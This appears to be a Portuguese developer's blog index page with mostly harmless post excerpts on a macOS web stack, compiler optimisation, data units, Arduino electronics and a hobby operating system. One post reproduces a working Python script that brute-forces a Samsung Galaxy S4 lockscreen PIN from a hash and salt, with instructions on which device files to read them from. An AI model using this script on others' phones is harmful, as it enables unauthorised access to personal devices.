Install Nginx, PHP-FPM, MySQL and phpMyAdmin on OS X Yosemite

Recently my APM(Apache+PHP+MariaDB) installation from macPorts broken down. So is the perfect time to get rid of the web server stack and replace it with Nginx and PHP-FPP as FastCGI implementation. Below you can read how to setup Nginx, PHP-FPM, MySQL and PhpMyAdmin on OS X 10.10 (Yosemite).

Xcode

First of all, get the last Xcode version via Mac App Store (or at this time, from Developer Member Page). As soon as you have finished the download, open Xcode and agree to the license and click install on the first window how will open.
Continuar a ler

If the programmer is stupid…

If the programmer is stupid, modern compilers like CLang and GCC can ignore and/or interpret stupid code who you can make and the assembly output will be clean.

In the line below are written a main function with some stupid code.

int main(int argc, char** argv)
{
    int sum = 0;

    for (int i = 0; i < 10; i++)
    {
        sum += i;
    }

    return sum;
}

And the output should be something like this. (this code not contain directives, unused labels and comments that are not comments line)

main: # @main
    movl $45, %eax
    ret

The compiler knows the result will be 45, and the only thing who will appears on assembly is the return with the number 45.

Sabia que?

Entre o byte e o Kilobyte existe mais 4 tamanhos de dados?

  • Word : 2-byte
  • Doubleword: 4-byte (32 bit)
  • Quadword: 8-byte (64 bit)
  • Paragraph: 16-byte (128 bit)

Próxima pergunta. E para que é isto tudo serve, para que a necessidade disto?
A resposta está a baixo nível, são unidades extremamente úteis já que se trabalha com tamanhos de dados tão pequenos.

Samsung Hash Crack

This is interesting… This code is a Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2.

This implementation takes 20 seconds to try PINs 0000-9999 on 2.6 GHz i7 :)

#!/usr/bin/python

'''
Python implementation of passcode hashing algorithm used on the Samsung Galaxy S4 GT-I9505 4.2.2
Correct PIN for hash and salt below is 1234.

Get 40-character hash value in ascii hex format from file /data/system/password.key on the phone

Get salt in signed numeric format by doing sqlite3 query SELECT value FROM locksettings WHERE name = 'lockscreen.password_salt' on /data/system/locksettings.db

by @hubert3 2014-01-23
'''

import sys
from hashlib import sha1
from binascii import unhexlify

def get_salt(salt):
        int_salt = int(salt)
        int_salt = (int_salt & 0xffffffffffffffff)
        salt = hex(int(int_salt)).lstrip("0x")
        salt = salt.rstrip('L')
        return salt

samsung_hash = unhexlify('867B4B7F6C7E5CCC50A1BD183D8C3E5801F20344'.lower())
salt = get_salt(-3343618892075477414)

for pin in map('{:04}'.format,range(0,10000)):
	print 'Hashing PIN %s' % pin
 	digest = sha1('0'+pin+salt).digest() # binary digest, not ascii hex
	for i in map(str,range(1,1024)): # Samsung uses 1024 SHA-1 iterations
		digest = sha1(digest+i+pin+salt).digest()
	if digest == samsung_hash:
		print 'FOUND PIN %s' % pin
		sys.exit(0)
print 'PIN not found'

Introdução á Eletricidade

Boas, depois de tanto tempo sem escrever nada no blog irei começar a escrever sobre hardware e não só software. Chegou-me na passada quinta feira (dia 9 de Janeiro de 2014) o StarterKit do Arduino e estou muito empolgado com os projetos que tenho em mente. Mas primeiramente tenho que aperfeiçoar os meus conhecimentos em electrónica e por isso irei realizar alguns dos projetos que estão descritos no “Arduino Projects Book” e também fazer uma introdução a eletricidade. Então por isso mesmo este primeiro post vai ser umas introdução a eletricidade, também vamos falar um pouco do básico da teoria da electrónica, como é que a nossa placa de ensaio funciona, e componentes em serie e paralelo. Continuar a ler

Infinity OS – VideoLog 1

Bom dia,

Como o outro diz, tomei a liberdade de fazer diferente. Não irem escrever loucamente sobre o progresso do Infinity OS, mas sim irem fazer um “Video Log” do desenvolvimento, é muito mais fácil para mim e muito mais fácil para quem está a tentar a prender alguma coisa ou simplesmente acompanhando o projeto.

Neste primeiro video irei falar um pouco do Buid System e do sistema de pastas. Caso surja alguma duvida ou sugestão podem sempre comentar o post, video ou então ,o mais recomendado, participar no nosso forum.

Para o proximo video o assunto será o inicio do Bootloader. Até a uma proxima ;)

Infinity OS – Futuro [Update 1]

Boa tarde,
Algumas pessoas já conhecem o Infinity OS, este é um sistema operativo desenvolvido por mim nas minhas escassas horas vagas, com o objectivo de ser moderno, simples, entre outras coisas que agora não interessam para aqui.

O que gostava de dizer é que irei começar o projeto do zero.
O porque disto?
A resposta é simples muitos já entenderam isso outros nem por isso, mas a nossa lingua está-se a perder e uma prova disso é o novo acordo ortográfico, agora somes menos portugueses e mais brasileiros. O porque disso é simples, eles estão a lutar pela lingua deles e nos simplesmente a deixa-la morrer, como podem reparar já são poucos os softwares que trazem português (Portugal).
Para contrariar isso, e través o nosso pais novamente para as bocas do mundo, sem ser pela palhaçada da crise, o Infinity OS será totalmente em português, se isso é bom para o projeto? Depende do ponto de vista, pelo menos pode despertar mais o interesse do publico português, é obvio que temos um problema que é o resto do mundo, mas deixe-mos isso de lado.

Como já disse o projeto será totalmente em português, este irá assentar em três grandes pontos:

  • Computação de Elevada Performance – O objectivo é fornecer um Sistema Operativo com elevada performance, através da utilização de novas técnicas de programação, e o suporte as ultimas tecnologias tais como o processamento paralelo e multi núcleo.
  • Design e Facilidade de Leitura – Este é um ponto muito importante. Devemos sempre desenhar o código da forma mail fácil possível para facilitar a manutenção do mesmo.
  • Educação – Proporcionar um ambiente de aprendizagem e experiências com programação Assembly, C e C++ de baixo nível, bem como os funcionamentos dos sistemas operativos.

Repositorio
Forum

Update 1

Eu vou ser sincero, eu não consigo programar em português e mesmo os comentarios soam-me esquisito caso estes sejam escritos em português. Mesmo o que eu já tinha falado de que ao usar português obrigatoriamente teria de abdicar do publico que não fala português e isso pode ser uma condicionante para o projeto… acho que prefiro que o projeto tenha visibilidade do que meia dúzia de portugueses a deitar o olho.
O que vou fazer será o seguinte, todo o código e comentarios ficaram em inglês, posteriormente quando a documentação for criada esta será em português/inglês, e os commits também será feitos em português para melhor acompanhar o que esta a ser desenvolvido.

Relativamente aos três pontos fundamentais do projete, estes manteem-se  e por isso sou obrigado a simplificar e a comentar ao máximo tudo o será feito ao longo do código para assim manter a minha palavra.